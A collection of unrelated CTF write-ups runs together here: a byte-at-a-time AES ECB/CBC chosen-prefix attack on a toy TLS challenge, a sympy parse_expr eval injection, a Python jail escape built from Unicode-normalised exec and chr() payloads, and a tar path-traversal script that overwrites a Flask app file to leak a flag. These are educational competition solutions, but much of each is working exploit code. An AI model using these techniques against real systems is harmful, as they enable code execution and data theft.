The server receives both and stores them for later use.```python########## Client Hello ########### Enter encryption methodsinput_encryptions_suite = input()client_cipher_suite = input_encryptions_suite.split(", ")# Enter client randomclient_random = input()```
Now the server proceeds with sending his own hello, starting with a signed hash of his certificate. In TLS, the server would send the actual certificate and a signed hash of all previous messages.```python########## Server Hello ##########
# Certificateprivate_key = RSA.import_key(open("my_credit_card_number.pem").read())cipher_hash = SHA256.new(cert)signature = PKCS1_v1_5.new(private_key).sign(cipher_hash)#Signed certificateprint(signature.hex())```
After that the server computes the intersection of the AES modes supported by him and the client and sends the resulting list back to the client. In TLS, the server chooses one of the ciphers that is understood by client and server and sends only the selected cipher to the client.```python# select cipher suiteselected_cipher_suite = {}for method in cipher_suite: if method in client_cipher_suite: selected_cipher_suite[method] = cipher_suite[method]
if len(selected_cipher_suite) == 0: print("Honey, we have a problem. I'm sorry but I'm disowning you :(") exit()
# Selected cipher suiteprint(*selected_cipher_suite.keys(), sep=', ')```
Finally, the server generates four random characters and sends them to the client. As with the client random, TLS will generate a 32 byte long random value.```pythonserver_random = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(4))# Server randomprint(server_random)```
Now back to the client. It first loads the preshared public key of the server and verifies the signature. As the certificate is preshared in this case, the server didn't have to send it. Furthermore in TLS the public key would be read from the certificate and not from a separate file. As an alternative to certificates, TLS supports the Diffie-Hellman key exchange, which is covered in last years UIUCTF challenge [`dhke_intro`](https://ctftime.org/writeup/34637).```python########## Server Hello ##########
# verify server# Enter signed certificateserver_signature_hex = input()server_signature = bytearray.fromhex(server_signature_hex)public_key = RSA.import_key(open("receiver.pem").read())cipher_hash = SHA256.new(cert)verifier = PKCS1_v1_5.new(public_key)
if not verifier.verify(cipher_hash, server_signature): print("Mom told me not to talk to strangers.") exit()```
As next step, the client parses the cipher suits supported by the server.```python# Enter selected cipher suiteinput_encryptions_suite = input()if len(input_encryptions_suite) == 0: print(" nO SeCUriTY :/") exit()
selected_cipher_suite = {}input_encryptions_suite = input_encryptions_suite.split(", ")for method in input_encryptions_suite: if method in cipher_suite: selected_cipher_suite[method] = cipher_suite[method]
if len(selected_cipher_suite) == 0: print("I'm a rebellious kid who refuses to talk to people who don't speak my language.") exit()```
As last part of the parsing of the server hello, the random characters from the server are stored for later use.```python# Enter server randomserver_random = input()```
As next step, the client initializes AES, starting with the generation of the premaster secret. This is then encrypted and send to the server. As in previous cases, the premaster secret of TLS is larger and uses 48 bytes.```pythonpremaster_secret = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(8))
cipher_rsa = PKCS1_OAEP.new(public_key)premaster_secret_encrypted = cipher_rsa.encrypt(premaster_secret.encode()).hex()# Encrypted premaster secretprint(premaster_secret_encrypted)```
Then the session key is computed from the previously generated premaster secret and both random values.Because the premaster secret is send encrypted, the session key is only known to the client and server. The use of client and server random prevents replay attacks, as the target of the replay will choose a different one. This is especially true for TLS, since 4 of the 32 bytes of the client and server random are the current timestamp.```pythonsession_key = SHA256.new((client_random + server_random + premaster_secret).encode()).hexdigest()```
Now the client chooses one of the ciphers supported by client and server and informs the server about the selected cipher.```pythonchosen_cipher_name = next(iter(selected_cipher_suite))# Using encryption modeprint(chosen_cipher_name)cipher = AES.new(session_key.encode()[:16], cipher_suite[chosen_cipher_name])```
The server receives the premaster secret, decrypts it with its private key and uses it to calculate the same session key.```python########## ClientKeyExchange & CipherSpec Finished ########### Enter premaster secretencrypted_premaster_secret = input()cipher_rsa = PKCS1_OAEP.new(private_key)premaster_secret = cipher_rsa.decrypt(bytearray.fromhex(encrypted_premaster_secret)).decode('utf-8')
session_key = SHA256.new((client_random + server_random + premaster_secret).encode()).hexdigest()```
After that, the server will check wether the selected cipher is one of the supported ones and will then initialize AES with the session key and the selected mode.```python# Enter chosen cipherchosen_cipher_name = input()if chosen_cipher_name not in selected_cipher_suite: print("No honey, I told you we're not getting ", chosen_cipher_name, '.', sep='') exit()cipher = AES.new(session_key.encode()[:16], cipher_suite[chosen_cipher_name])```
Finally the client sends an AES encrypted `finish` to the server.```python# Encrypted finish messageprint(cipher.encrypt(pad(b"finish", block_size)).hex())```
The server decrypts the `finish` and checks wether it is correct. This is a final proof, that both sides have calculated the same session key.```python# Enter encrypted finishclient_finish = input()client_finish = bytearray.fromhex(client_finish)
########## ServerKeyExchange & CipherSpec Finished ##########
finish_msg = unpad(cipher.decrypt(client_finish), block_size)assert(finish_msg == b'finish')```
In TLS, the server would also send a finish message over the encrypted channel to proof the client the it has the same session key. In this challenge, the message is not send but the client wants to receive an unencrypted `finish` and checks it.```python########## ServerKeyExchange & CipherSpec Finished ########### Confirm finishfinish_msg = input()assert(finish_msg == "finish")```
Now the connection is established and the contents can be exchanged.
The server checks each message if it exactly matches the flag and prints a message indicating the result.```python########## Communication ##########
# Listening...while True: client_msg = input() client_msg = unpad(cipher.decrypt(bytearray.fromhex(client_msg)), block_size)
if client_msg == flag: print("That is correct.") else: print("You are not my son.")```
This has little to no interest for us, since we would have to guess the whole flag at once, which is way to much effort. We can only use it to verify the flag.
The client is much more useful. It requests a hex-encoded prefix, appends the flag to the decoded prefix and prints the AES encrypted result.```python########## Communication ##########
while True: prefix = input() if len(prefix) != 0: prefix = bytearray.fromhex(prefix) extended_flag = prefix + flag else: extended_flag = flag ciphertext = cipher.encrypt(pad(extended_flag, block_size)).hex() print(str(ciphertext))```
This enables us to brute force the flag character by character, which can be done in a few minutes.
# ExploitFor solving the challenge, we used pwntools' [`remote`](https://docs.pwntools.com/en/stable/tubes/sockets.html#pwnlib.tubes.remote.remote) for the communication with the services and python's `string` to obtain a list of flag characters.```pythonfrom pwn import *import string```
First we have to initialize the connection to the client. Therefore we connect to the client and server and relay the messages from the server to the client and vice versa.
After connecting to the services,```pythondef get_services(): # connect to server and client server = remote("mom-can-we-have-aes.chal.uiuc.tf", 1337) client = remote("mom-can-we-have-aes.chal.uiuc.tf", 1338)```
the services will send `== proof-of-work: disabled ==\n`, which we have to skip, since this is not part of the protocol.```python # skip proof of work message client.recvline() server.recvline()```
As first message, the client will send us the supported AES modes. As we want to use ECB, we drop the received list and send only `AES.MODE_ECB` to the server. We will explain this decision later, when we actually use the properties of this mode.```python # AES modes client.recvline() server.sendline(b"AES.MODE_ECB")```
The remaining initialization can be relayed.```python # client random server.send(client.recvline())
# server signature client.send(server.recvline())
# server AES mode client.send(server.recvline())
# server random client.send(server.recvline())
# client encrypted premaster secret server.send(client.recvline())
# client chosen AES mode server.send(client.recvline())
# client finish finish = client.recvline() server.send(finish)```
Since the client expects a plain text `finish` and the server does not send it, we must send it ourselves. After that we have a server and a client in their main loop, which can be returned.```python # send finish for client client.sendline(b"finish")
return server, client```
Now we come to the actual exploit and the chosen AES mode.
AES works by dividing the message to encrypt in blocks of 16 bytes. The difference between the modes is the handling of these blocks. The simplest mode is *Electronic CodeBook* (ECB), which just takes each block and encrypts it separately. This has the effect, that the same plain text block will always result in the same encrypted block. Because of this, structures are retained. A popular example for this property is the [ECB encrypted Tux](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#ECB). As a result of this insecureness, ECB is not part of the ciphers available in TLS.```goat .-------------. .-------------. | plaintext 1 | | plaintext 2 | '-------------' '-------------' | | v v .---------. .---------. | encrypt | | encrypt | '---------' '---------' | | v v.--------------. .--------------.| ciphertext 1 | | ciphertext 2 |'--------------' '--------------'```
We can use this insecureness to our advantage. If we send a prefix, the flag is moved to the right, resulting in a different alignment against the block boundaries. By changing the length of the prefix, we can adjust the position of the flag relative to the block boundaries. In the example below we used underscores as prefix.``` block 1 block 2|----------------|----------------||uiuctf{FAKEFLAG}| ||_______________u|iuctf{FAKEFLAG} ||______________ui|uctf{FAKEFLAG} |```Let's assume, we already know the first character (which we do, since all flags start with `uiuctf{`). We now can guess the second character by appending the prefix used in the last row of the above example with the already known part of the flag and our guess. If we guess the correct character, the first block will be identical to the one requested with only the underscores.``` block 1 block 2|----------------|----------------||______________ui|uctf{FAKEFLAG} || | ||______________uA|uiuctf{FAKEFLAG}||______________uB|uiuctf{FAKEFLAG}||______________ui|uiuctf{FAKEFLAG}|```
With this knowledge we can begin to write the function for brute forcing one character. It takes a connection to a `client`, the already guessed `flag` and the `alphabet` to use as parameters. At first we request the encrypted blocks to search for by sending only the prefix. This results in the flag being moved to the right, such that the second block will end one character after the already guessed flag characters. Since the encrypted flag spans over two blocks, we send a prefix of 32 minus the number of wanted flag characters as prefix.
For converting the string to hex, we have to convert the string to bytes first and can then convert them to hex. As pwntools needs the data to send as bytes and the returned hex representation is a string, we have to encode it again.```pythondef brute_force_char(client, flag, alphabet): # get encrypted flag part client.sendline(("A"*(31-len(flag))).encode().hex().encode())```
As the remaining blocks won't match, since they contain the remaining flag characters in the search request and the whole flag in the guess requests, we keep only the hex representation of the first two blocks, i.e. 64 hex characters.```python search = client.recvline()[:64]```
Now we can iterate over the given alphabet and test each character.```python # precompute prefix prefix = "A"*(31-len(flag)) + flag
# iterate over alphabet for c in alphabet: # encrypt guess client.sendline((prefix + c).encode().hex().encode()) recv = client.recvline()[:64]```
If the received blocks match with the search pattern, we have found the next flag character and can abort the loop```python # return if correct char found if recv == search: return c```
As we now have the initialization of the services and the brute forcing of one flag character done, we can develope the main control flow and define the alphabet of the flag. `string.printable` contains all printable ASCII characters, including whitespace.```pythonALPHABET = string.printable```
Furthermore we can define the known start of the flag, as its the same format for all challenges```pythonflag = "uiuctf{"```
Before starting the brute forcing, we have to get a client. Since we do not need the server, we can close it.```python# get servicesserver, client = get_services()
# close serverserver.close()```
Now we brute force the flag character by character until we reach the closing curly brace.```pythonwhile flag[-1] != "}": flag += brute_force_char(client, flag, ALPHABET)
# print progress print(flag)```
By running this script, we get the flag after less than two minutes: `uiuctf{AES_@_h0m3_b3_l1ke3}`.
# OptimizationThe acquisition of the search blocks can be optimized by requesting only each of the possible 16 offsets of the flag in a block once and then reusing them. The following example demonstrates this by brute forcing the second (compare only the first block) and the 18. character of the flag (compare the first two blocks).``` block 1 block 2 block 3 block 4|----------------|----------------|----------------|----------------||______________ui|uctf{LONGFAKEFLA|G} | || | | | ||______________u?|uiuctf{LONGFAKEF|LAG} | ||______________ui|uiuctf{LONGFAKEF|LAG} | || | | | ||______________ui|uctf{LONGFAKEFL?|uiuctf{LONGFAKEF|LAG} ||______________ui|uctf{LONGFAKEFLA|uiuctf{LONGFAKEF|LAG} |```
This strategy would require to first request all possible search offsets:```pythonsearchs = []for i in range(16): client.sendline(("A"*(15-i)).encode().hex().encode()) searchs.append(client.recvline())```
`brute_force_char` would then use up to 15 prefix characters and compare as many blocks as needed to include characters up to the guessed one.```pythondef brute_force_char(client, flag, alphabet, searchs): # precompute prefix prefix = "A"*(15 - len(flag)%16) + flag
# calculate length of hex representation of prefix + guess compare_length = 2 * (len(prefix)+1)
# get search blocks search = searchs[len(flag)%16][:compare_length]
# iterate over alphabet for c in alphabet: # encrypt guess client.sendline((prefix + c).encode().hex().encode()) recv = client.recvline()[:compare_length]
# return if correct char found if recv == search: return c```
The main loop remains identical, except from `searchs` being passed as third parameter to `brute_force_char`. Since the flag only contains 27 characters, this optimization saves 11 requests, which is negligible compared to the up to 93 tries for the closing curly brace.
# ParallelizationThe approach used in the exploit can be parallelized by using multiple connections. Since the session key will be different for each connection, the encrypted plain text and therefore the search pattern will be different and must be requested for each session. Then the alphabet can be distributed between the connections.
A good library for this is python's [`concurrent.futures`](https://docs.python.org/3/library/concurrent.futures.html) library. It allows to distribute tasks between a defined number of workers and returning finished tasks without manually querying all workers. Furthermore we will use the `threading` library to store data at the worker threads and `ceil` from the math library.```pythonimport concurrent.futures as cfimport threadingimport math```
The main part of `concurrent.futures` are the executors. They control the workers and distribute the tasks. `concurrent.futures` offers two types of executors: `ThreadPoolExecutor` and `ProcessPoolExecutor`. As the names indicate, the former one uses threads and the later one subprocesses for it's workers. Concurrency can be solved in multiple ways. Python decided to use the easiest and safest one by introducing the global interpreter lock. This lock ensures, that there is always only one thread executing bytecode. In contrast to threads, subprocesses are, as the name indicates, separate processes, resulting in having an own global interpreter lock for each process. As a consequence, the access to variables outside the process is limited. Furthermore `ProcessPolExecutor` cannot be used inside the python console. Since the requests are I/O bound tasks with negligible computing time, there should be no noticeable difference between those two executors. But as threads are more light weight, they can be spawned a bit faster. Because of the beforementioned advantages of threads, we will take the `ThreadPoolExecutor`.
Since we want to reuse clients for multiple requests, we have to initialize the workers first. Since each client has a different session key, we have to request the search pattern for each client and therefore store it together with the corresponding flag part in the client.```pythondef init_worker(): # get services server, client = get_services()
# close server server.close()
# set additional client attributes client.flag = None client.search = None
# store client with the thread threading.current_thread().client = client```
Now we can adjust the brute force function, which will be executed by the threads. Each run will try only one character. We first have to ensure, that the blocks to search for are the ones for the current flag character. Then we can request the encryption of our try and return the result of the comparison together with the tested character.```pythondef try_character(flag, char): # get client client = threading.current_thread().client
# test if search pattern is for current flag character if client.flag != flag: # get encrypted flag part client.sendline(("A"*(31-len(flag))).encode().hex().encode()) client.search = client.recvline()[:64]
# test character client.sendline(("A"*(31-len(flag)) + flag + char).encode().hex().encode()) test = client.recvline()[:64]
# return test result return test == client.search, char```
After we having all prerequisites, we can now rebuild the main control flow, starting with the already known definitions of the flag start and the alphabet.```pythonflag = "uiuctf{"ALPHABET = string.printable```
Now we can create the executor. We choose each thread to handle up to five characters, which results in every sixth request being one for the search pattern.```pythonmax_workers = math.ceil(len(ALPHABET)/5)executor = cf.ThreadPoolExecutor(max_workers=max_workers, initializer=init_worker)```
The main loop looks different this time, since we have to deal with the executor and its results. Since we want to pass the already brute forced part of the flag to `try_character`, we cannot use the `map` function of the executor and must submit each call ourselves.```pythonwhile flag[-1] != "}": # get futures futures = [executor.submit(try_character, flag, c) for c in ALPHABET]```
After having a list with futures, we have to resolve them. By using `as_completed`, we get completed futures independent of the order in the passed list. As before, we stop the loop when we found the next flag character.```python # handle results for future in cf.as_completed(futures): result, char = future.result() if result: flag += char print(flag) break```
But stopping the loop won't stop the executor from executing the futures, so we have to cancel them ourselves. The cancellation of the remaining futures will reduce the runtime from around 30 seconds to around 22 seconds.```python # cancel remaining futures for future in futures: future.cancel()```
# Other ModesIn our exploit we used the ECB mode, as it is the easiest one, but other modes can also be used after slight adjustments. So let's have a closer look on the other AES modes featured in this challenge.
## AES CTRThe CounTeR mode encrypts the concatenation of a 64 bit nonce and a 64 bit counter and xors the result with the plaintext. Since the nonce and the session key will be different for each connection, the encrypted nonce+counter cannot be predicted. It is possible to infer the encrypted nonce+counter by sending a prefix large enough to know the plaintext of an entire block. But since we do not know the session key, this doesn't enables us to predict the next one. Since encrypting something with AES will result in an equal chance of a bit being 0 or 1, we do not know the encrypted nonce+counter or we have no unknown bit in the plaintext and are therefore unable to infer the flag with this mode. Counter mode has the advantage, that its keys can be precomputed and then xored over the plaintext. Furthermore this mode only requires the possibility to encrypt and is therefore easier to implement.```goat .-------+----------. .-------+----------. | nonce | 00000001 | | nonce | 00000002 | '-------+----------' '-------+----------' | | v v .---------. .---------. | encrypt | | encrypt | '---------' '---------' | | v v.-------------. .-----. .-------------. .-----.| plaintext 1 |-->| xor | | plaintext 2 |-->| xor |'-------------' '-----' '-------------' '-----' | | v v .--------------. .--------------. | ciphertext 1 | | ciphertext 2 | '--------------' '--------------'```
# AES OFBThe Output FeedBack mode starts with encrypting the initialization vector. It then xors the result with the plaintext. For subsequent blocks, the output of the encryption of the previous block is used instead of the initialization vector. Since the initialization vector is not defined, the used python library will generate it randomly. Using this mode has the same consequences as using the counter mode: we can get the output of the encryption by providing 16 known bytes of plaintext or we can include unknown bits in the plaintext but are unable to infer them, since there is an equal chance of the unknown bits to be flipped or not, as the corresponding bits of the encryption result have an equal probability of being 0 or 1. As a consequence, this mode is unsuitable for solving the challenge. Its has the same advantages as the counter mode but has the disadvantage that it is not possible to decode a block without generating all previous keys.```goat .-----------------------. | initialization vector | '-----------------------' .-----------------. | | | v | v .---------. | .---------. | encrypt | | | encrypt | '---------' | '---------' | | | +----------------' | | | v v.-------------. .-----. .-------------. .-----.| plaintext 1 |-->| xor | | plaintext 2 |-->| xor |'-------------' '-----' '-------------' '-----' | | v v .--------------. .--------------. | ciphertext 1 | | ciphertext 2 | '--------------' '--------------'```
# AES EAXIn EAX mode, AES will output a tuple with two values. The first one is the plaintext encoded with counter mode and the second one is a tag, which can be used for authentication. Since counter mode is used to generate the plaintext and the tag is generated from the ciphertext, a header unrelated to the plain text and the nonce from counter mode, it is also inappropriate for solving this challenge.
# AES CBCThe only mode left is Cipher Block Chaining. It starts with an initialization vector, which is not set in our case and therefore randomly generated. It then xors the initialization vector with the plaintext and encrypts the result. For subsequent blocks, the ciphertext of the previous block is used instead of the initialization vector. This has the effect, that the decryption of each block depends only on the session key and the ciphertext of the previous block, which enables the decryption without decryption of random blocks. Since we know the ciphertext of the previous block and are able to set the prefix of the plaintext freely, we can use this mode to solve the challenge. So let's implement it. Since it might be easier to understand if we implement it without multithreading, we will leave the parallelization and other optimizations to the reader.```goat .-------------. .-------------. | plaintext 1 | | plaintext 2 | '-------------' '-------------' | | v v.-----------------------. .-----. .-----.| initialization vector |-->| xor | .-------------------->| xor |'-----------------------' '-----' | '-----' | | | v | v .---------. | .---------. | encrypt | | | encrypt | '---------' | '---------' | | | v | v .--------------. | .--------------. | ciphertext 1 |--------' | ciphertext 2 | '--------------' '--------------'```
The `get_services` function from the original exploit must be slightly adjusted. We can either choose `AES.MODE_CBC` directly or just relay the original list and let the client choose it later, as it is the first mode in the list and therefore the default of this challenge.```python # relay AES mode list -> client will choose AES.MODE_CBC server.send(client.recvline())```
Since the last ciphertext block is a relevant property in CBC, we will store it with the connection. The first ciphertext we receive is the encrypted `finish` for the server. We can store it directly before the return of `get_services`. The client pads the finish message to 32 bytes despite it being shorter than 16 bytes and therefore fitting into only one block. This indicates, that the challenge author set `block_size` to 32 bytes. Furthermore we have to strip the new line at the end of the response.```python # save last ciphertext block client.last = finish.strip()[-32:]```
The main control flow can be left unchanged.
Unfortunately python does not natively support xoring variables of type `bytes`, so we have to write our own helper function. As the right side will always be the raw hex ciphertext, we will also handle the transformation in this helper function.```pythondef bytes_xor_hex(left, hex_right): return bytes(l^r for l, r in zip(left, bytes.fromhex(hex_right.decode())))```
Now we have to actually exploit the challenge. The basic strategy stays the same: we brute force the flag character by character and by aligning the character to brute force against the end of a block. The only thing to do is the xor. Since we cannot xor the flag appended to the prefix, we will leave the entire search request unchanged.```pythondef brute_force_char(client, flag, alphabet): # get encrypted flag part client.sendline(("A"*(31-len(flag))).encode().hex().encode()) response = client.recvline() search = response[:64]```
For getting comparable ciphertexts, we have to revert the expected xor with the last ciphertext and apply the xor used for `search`. We have to do it only for the first block, because we only change the plaintext from the last character of the second block onwards. By xoring with the last ciphertext block and the one before the first search block, the ciphertext of the first block will be the same as the first one in `search`.```python # precompute prefix ^ search prefix = ("A"*(31-len(flag)) + flag).encode() prefix = bytes_xor_hex(prefix[:16], client.last) + prefix[16:]```
Since we no longer need `client.last` and can update it with the last block of the last ciphertext.```python client.last = response.strip()[-32:]```
Now we can try all characters of the alphabet. For each request, we have to revert the upcoming xor by xoring with the last ciphertext.```python for c in alphabet: # encrypt guess request = bytes_xor_hex(prefix[:16], client.last) + prefix[16:] + c.encode() client.sendline(request.hex().encode()) response = client.recvline()
# Update last ciphertext block client.last = response.strip()[-32:]
# return if correct char found if response[:64] == search: return c```
And now we get the flag in approximately the same time as the first exploit, even without forcing the client to use ECB. |
[Original writeup](https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/billboard-mayhem.md) (https://github.com/piyagehi/CTF-Writeups/blob/main/2022-Unlock-The-City/billboard-mayhem.md) |
[Original writeup](https://imp.ress.me/blog/2022-08-01/uiuctf-2022/#bro-key-n)
Recover partial parameters from a censored ssh rsa private key, manipulate some numbers and then brute force to recover the full key. |
# UIUCTF 2022 - safepy Writeup- Type - Jail- Name - safepy- Points - 50
## Description```markdownMy calculator won't be getting pwned again...
$ nc safepy.chal.uiuc.tf 1337
author: tow_nater
[handout.tar.gz]```
## WriteupWhen you unzip the provided file for the challenge, you'll get the Python script run server-side along with some supporting files for the Docker setup. Outside of [line 28 of the Dockerfile](https://github.com/BYU-CTF-group/writeups/blob/main/UIUCTF_2022/safepy/Dockerfile) that shows the flag is located at `/flag`, the only useful file is `main.py`. The script is pretty short:
```pythonfrom sympy import *
def parse(expr): # learned from our mistake... let's be safe now # https://stackoverflow.com/questions/33606667/from-string-to-sympy-expression # return sympify(expr)
# https://docs.sympy.org/latest/modules/parsing.html return parse_expr(expr)
print('Welcome to the derivative (with respect to x) solver!')user_input = input('Your expression: ')expr = parse(user_input)deriv = diff(expr, Symbol('x'))print('The derivative of your expression is:')print(deriv)```
Our input is taken, parsed using `parse_expr`, and then stuck into the `diff` function with the output printed out. The `parse()` function gives us two very helpful links, [one](https://docs.sympy.org/latest/modules/parsing.html) to the documentation and [another](https://stackoverflow.com/questions/33606667/from-string-to-sympy-expression) about why `sympify` is dangerous. Reading through this article gave me an idea for how to approach this - `sympify` used `eval()` internally, so if I could get either `diff` or `parse_expr` to do the same, that would be great!
While reading through the documentation provided, I read that an optional parameter for `parse_expr` was `evaluate`, with the default setting to True. This means that, by default, any expressions will be simplified if possible, which means it will use `eval()` inside of it.
I started out with a test payload to see what it would do if I just input whatever code I wanted to - `print('a')`:
```$ nc safepy.chal.uiuc.tf 1337== proof-of-work: disabled ==Welcome to the derivative (with respect to x) solver!Your expression: print('a')a```
Since it looked like it ran the code, I decided to just put in a payload to print out the flag:
```nc safepy.chal.uiuc.tf 1337== proof-of-work: disabled ==Welcome to the derivative (with respect to x) solver!Your expression: print(open("/flag").read())uiuctf{na1v3_0r_mal1ci0u5_chang3?}```
And it worked!!
**Flag:** `uiuctf{na1v3_0r_mal1ci0u5_chang3?}`
## Real-World ApplicationMy favorite part of this challenge is the real world application. This entire question was completely based off of a StackOverflow answer, and - as everyone knows - StackOverflow is the *source* for all programming information. This particular answer was from someone who said putting user-controlled input to `sympify()` is dangerous since it uses `eval` natively, so the `parse_expr` function should be used instead (implying this one was safe). As our problem demonstrated, that was **not** the case - `parse_expr` was just as dangerous as `sympify`. Did the user who submitted this answer know this? Not sure. But the moral of the story is **you can't always trust answers from random people on the internet**... |
# UIUCTF 2022 - A Horse with No Names Writeup- Type - jail- Name - A Horse with No Names- Points - 117
## Description```markdownCan you make it through the desert on a horse with no names?
nc horse.chal.uiuc.tf 1337
author: kmh```
## WriteupI want to start off by saying this was one of my favorite challenges, and we ended up getting third blood on the challenge! The challenge provided 2 files, `desert.py` and a Dockerfile. The Dockerfile simply showed us that the flag was stored at `/flag.txt`. `desert.py` looked like this:
```python#!/usr/bin/python3import reimport randomhorse = input("Begin your journey: ")if re.match(r"[a-zA-Z]{4}", horse): print("It has begun raining, so you return home.")elif len(set(re.findall(r"[\W]", horse))) > 4: print(set(re.findall(r"[\W]", horse))) print("A dead horse cannot bear the weight of all those special characters. You return home.")else: discovery = list(eval(compile(horse, "<horse>", "eval").replace(co_names=()))) random.shuffle(discovery) print("You make it through the journey, but are severely dehydrated. This is all you can remember:", discovery)```
This jail challenge consisted of bypassing 3 roadblocks - two regular expressions, and removing all Python bytecode with a `co_name` (more on that later). If I could get past those three filters, then any Python code I wanted could be run, such as `open('flag.txt').read()` or `os.system('shell command')`.
### Roadblock 1 - No 4-letter WordsThe first `if` statement checked to see if `re.match(r"[a-zA-Z]{4}", horse)` evaluated to True - if it did, no dice. The regular expression `r"[a-zA-Z]{4}"` simply matched any 4-letters in a row inside our input variable, `horse`. There were 2 possible workarounds that came to mind originally - using Unicode characters, and hex encodings.
Python is unique since it will automatically normalize Unicode characters in certain circumstances. For example, an italicized `?` (Unicode number `0x1d626`) will be normalized to a normal `e` when present in a variable name, global variable, function, or module (with some exceptions). That means that `????` and `exec` functions look the same to Python, except `????` will NOT match the regular expression `r"[a-zA-Z]{4}"` - thus allowing us to use the `exec` function.
Hex encoding in strings allow us to only use the characters `\x0123456789abcdef`, with each ASCII char represented by it's double-hex number. For example, the string `'a'` and `'\x61'` are the same, and `'\x65\x78\x65x\x63'` is the same as `'exec'`. However, the hex-encoded characters MUST be inside of a string, and not as regular Python code.
(Note - this specific Python line used the `re` function `match` instead of `search`, which means a 5-letter word was not flagged, only 4-letters words. A second version of this challenge was released where this roadblock was changed to "No words with 4+ letters" by using `search` instead.)
### Roadblock 2 - Maximum of 4 SymbolsOur second roadblock checked to see if `len(set(re.findall(r"[\W]", horse)))` was greater than 4, and if it was - no go. The regular expression `r"[\W]"` included all non-word characters (this means alphanumeric and `_` and `:` and Unicode normalized to these ASCII chars, along with probably a few others). Sticking that in the `findall` function simply returned a list of most symbols used in your code. The `set` function filtered out duplicates, so this line was checking to see how many symbols were used in your payload. If you used more than 4, the code wouldn't run. So we had to be conservative with common symbols like `(`, `)`, `+`, `.`, etc.
### Roadblock 3 - No `co_names`Running arbitrary code with the first two roadblocks would have been fairly simple - it was the third roadblock that made it very difficult. One payload that would've worked with the first two roadblocks is `????('\x70\x72\x69\x6E\x74\x28\x6F\x70\x65\x6E\x28\x27\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74\x27\x29\x2E\x72\x65\x61\x64\x28\x29\x29')` (hex-encoded `print(open('/flag.txt').read())`). To understand the last roadblock, we have to take a look at Python bytecode.
A good explanation of Python code object, disassembly, and bytecode [can be found here](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d). The program would take our input, disassemble it, and clear all `co_names`, which means any Python bytecode that loaded a name would not work. This prevented us from calling functions directly like `print('a')` or attributes, like `().__class__`. This was a huge blow! However, after some trial and error, I discovered that Python functions that used `print()` or attributes like that were okay. For some reason, creating and calling a function never used the `LOAD_NAME` instruction, and when running a function with code like `print('a')` inside, it used `LOAD_GLOBAL` or `LOAD_ATTRIBUTE` instead of `LOAD_NAME`. So if we could call a function, we could bypass the third roadblock.
Creating and calling a custom function, however, didn't work because the code used the `eval` function instead of `exec`. Both of these functions will run Python code passed into it, however `eval` is looking for expressions, not multiline code/modules/functions - `exec` doesn't care. So using `def code: print('a'); code()` or something would not work. However, lambdas are a function-like Python struct designed to not be named and be usable inside of an expression. The normal syntax is `lambda (param1, param2) : print('a')`.
It's important to note that spaces counted as symbols, so I had to remove spaces if possible. I tested and realized I could use the syntax `lambda:print('a')` since I had no parameters, and there were no spaces. To immediately call a lambda after creating it, I just had to wrap it in parentheses like this - `(lambda:print('a'))()`. This was going to be my setup.
### Putting It All TogetherMy first attempt was this payload - `(lambda:open('/flag.txt'))()`. The problem with this one was too many symbols: `(`, `)`, `:`, `'`, `.`, and `/`. Even if I hex-encoded the string `/flag.txt` to `\x2F\x66\x6C\x61\x67\x2E\x74\x78\x74` (minus 1 symbol), we still had 5. That meant I could use `(lambda:print('aaa'))()`, but only use characters for aaa, not symbols. I wasn't quite sure how to go from here until I went through a list of all the builtin functions for Python and saw `chr()`. `chr()` takes in a number and outputs the ASCII character with that charcode. I would need to use the `+` character in between, but that meant no single quote for a string! So using `(lambda:exec(PAYLOAD))()` with a payload like `chr(1)+chr(2)+chr(3)` would work! I wrote a quick script called `encode.py` that would convert Python code to this `chr()` format, used the payload `print(open('/flag.txt').read())`, and it worked!
```$ nc horse.chal.uiuc.tf 1337== proof-of-work: disabled ==Begin your journey: (lambda:????(chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(111)+chr(112)+chr(101)+chr(110)+chr(40)+chr(39)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)+chr(39)+chr(41)+chr(46)+chr(114)+chr(101)+chr(97)+chr(100)+chr(40)+chr(41)+chr(41)))()uiuctf{my_challenges_have_abandoned_any_pretense_of_practical_applicability_and_im_okay_with_that}```
**Flag:** `uiuctf{my_challenges_have_abandoned_any_pretense_of_practical_applicability_and_im_okay_with_that}`
## Real World ApplicationSandboxes are very useful because they teach you how to bypass filters that you may experience in real-world engagements, like Web Application Firewalls (WAFs). It also forces you to be creative with how you program and look into lesser-known aspects of programming languages. Knowing how something works even better than the developer that used it is a surefire way to figuring out how to hack it. For example, if a developer doesn't know that Unicode characters are still parsed as valid Python but bypass regex filters, they may not sanitize user input sufficiently. |
# SLIPPY
## SOLUTION
You need to create a tar bomb. Replacing one of .py files so it would give you flag. You could create tarbomb tar file with following python script
```python# tarbomb.py - script to create exploit tar fileDIR_LEVEL = "../"
def main(argv=sys.argv): if len(argv) != 5: sys.exit("Incorrect arguments, expected <payload> <output> <depth> <path>") payload, output, depth, path = argv[1:5] if not os.path.exists(payload): sys.exit("Invalid payload file")
if path and path[-1] != '/': path += '/'
print("%s %s %s %s" % (depth, path, payload, output)) dt_path = "%s%s%s" % ((DIR_LEVEL*int(depth)), path, (os.path.basename(payload))) print(dt_path) with tarfile.open(output, "w:gz") as t: t.add(payload, dt_path) t.close() print("Created %s containing %s" % (output, dt_path))
if __name__ == '__main__': main()
```Then run it with command
```bashpython tarbomb.py main.py test3.tar.gz 3 '' ```
And replace one of main.py endpoint so it would read flag file to you (e.g. 404 route) like this
```python# main.pyfrom flask import Flask, jsonifyfrom application.blueprints.routes import web, api
app = Flask(__name__)app.config.from_object('application.config.Config')
app.register_blueprint(web, url_prefix='/')app.register_blueprint(api, url_prefix='/api')
# Modified [email protected](404)def not_found(error): flag = '' with open('/app/flag', 'r') as f: flag = f.read() return jsonify({'flag': flag}), 404
@app.errorhandler(403)def forbidden(error): return jsonify({'error': 'Not Allowed'}), 403
@app.errorhandler(400)def bad_request(error): return jsonify({'error': 'Bad Request'}), 400```
Then reaching website (e.g. http://64.227.36.32:32660/main.py ) would give you flag
